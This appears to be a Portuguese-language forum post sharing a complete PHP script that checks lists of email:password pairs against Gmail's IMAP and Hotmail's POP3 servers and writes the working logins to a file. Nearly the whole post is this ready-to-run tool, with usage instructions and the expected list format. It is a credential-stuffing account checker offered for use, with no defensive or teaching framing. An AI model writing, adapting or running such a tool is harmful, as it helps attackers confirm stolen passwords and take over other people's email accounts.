- Código:
#!/usr/bin/env php
<?php
error_reporting(0);
function help(){
$h = "
[*] Verificador de Logins Hotmail e Gmail
[+] Coder: MMxM
[*] Modo de uso:
[-] php verificador.php -t <gmail|hotmail> -l <lista-de-logins> -o <arquivo_onde_sera_salvo_os_logins>
[*] Exemplo:
$ php verificador.php -t hotmail -l hotmail.txt -o logins-validos.txt
======== E PRECISO TER O PHP-IMAP INSTALADO ========
# apt-get install php5-imap
";
printf($h);
exit(1);
}
function write($u,$p,$l){
$fp = fopen($l,"a");
if(!$fp)
return "[LOGIN OK] Erro ao escrever no arquivo !!!\n";
fwrite($fp,"$u:$p\n");
fclose($fp);
return "[OK]\n";
}
$opt = getopt("t:l:o:");
if (!is_array($opt))
help();
if(!$opt)
help();
if(!($opt['t']) || !($opt['l']) || !($opt['o']))
help();
if($opt['t'] == 'gmail')
$tipo = "{imap.gmail.com:993/imap/ssl}INBOX";
else if($opt['t'] == 'hotmail')
$tipo = "{pop3.live.com:995/pop3/ssl}";
else
help();
$f = fopen ($opt['l'],"r")
or die("Erro ao abrir arquivo $opt[l]");
while(!feof($f)){
$l = fgets($f,4096);
$c = chop($l);
list($user,$pass) = split(":",$c);
if(is_null($user) || is_null($pass))
continue;
echo "[*] Testando => $user:$pass\n";
$con = imap_open($tipo, $user, $pass);
echo ($con) ? write($user,$pass,$opt['o']) : "[FAIL]\n";
imap_close($con);
}
echo "\n[+] 100% complete !!!\n";
?>
Estilo da Lista de logins:
- Código:
email1:senha
email2:senha
email3:senha
etc ...
[*]
IMG: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]